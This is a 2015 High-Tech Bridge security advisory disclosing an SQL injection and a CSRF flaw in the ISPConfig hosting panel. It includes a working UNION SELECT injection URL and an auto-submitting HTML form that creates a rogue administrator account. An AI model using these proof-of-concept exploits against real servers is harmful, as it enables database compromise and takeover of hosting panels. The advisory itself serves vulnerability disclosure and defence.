Lucene search

K
htbridgeHigh-Tech BridgeHTB23260
HistoryMay 20, 2015 - 12:00 a.m.

Multiple Vulnerabilities in ISPConfig

2015-05-2000:00:00
High-Tech Bridge
www.htbridge.com
512

EPSS

0.01

Percentile

83.5%

High-Tech Bridge Security Research Lab discovered two vulnerabilities in a popular hosting control panel ISPConfig. The vulnerabilities can be exploited to execute arbitrary SQL commands in application database, perform a CSRF attack and gain complete control over the web application.

  1. SQL Injection in ISPConfig: CVE-2015-4118

The vulnerability exists due to insufficient filtration of input data passed via the “server” HTTP GET parameter to “/monitor/show_sys_state.php” script before executing a SQL query. A remote authenticated attacker can pass arbitrary SQL commands to the vulnerable script and execute them in application’s database.

Successful exploitation of this vulnerability will allow an attacker to read, insert and modify arbitrary records in database and compromise the entire web application, but requires the attacker to be authenticated and to have “monitor” privileges. However, in combination with the CSRF vulnerability to which the application is also vulnerable, this vulnerability becomes exploitable by remote non-authenticated attacker.

A simple exploit below will display MySQL server version. First, use the following HTTP request to execute the SQL query:

https://[host]/monitor/show_sys_state.php?state=server&server=-1%20UNION%20S ELECT%201,version%28%29%20–%202|-

After that visit the page mentioned below, the result of MySQL ‘version()’ function will be displayed in the HTML code of the page:

https://[host]/monitor/show_data.php?type=mem_usage

  1. CSRF (Cross-Site Request Forgery) in ISPConfig: CVE-2015-4119

The vulnerability exists due to failure in the “/admin/users_edit.php” script to properly verify the origin of the HTTP request. A remote attacker can create a specially crafted web page with CSRF exploit, trick a logged-in administrator to visit this page and create a new user with administrative privileges.

A simple CSRF exploit below creates an administrative account with username “immuniweb” and password “immuniweb”:

<form action = “https://[host]/admin/users_edit.php” method = “POST” enctype = “multipart/form-data”>
<input type=“hidden” name=“username” value=“immuniweb”>
<input type=“hidden” name=“passwort” value=“immuniweb”>
<input type=“hidden” name=“repeat_password” value=“immuniweb”>
<input type=“hidden” name=“modules[]” value=“vm”>
<input type=“hidden” name=“modules[]” value=“mail”>
<input type=“hidden” name=“modules[]” value=“help”>
<input type=“hidden” name=“modules[]” value=“monitor”>
<input type=“hidden” name=“startmodule” value=“vm”>
<input type=“hidden” name=“app_theme[]” value=“default”>
<input type=“hidden” name=“typ[]” value=“admin”>
<input type=“hidden” name=“active” value=“1”>
<input type=“hidden” name=“language” value=“en”>
<input type=“submit” id=“btn”>
</form>
<script>
document.getElementById(‘btn’).click();
</script>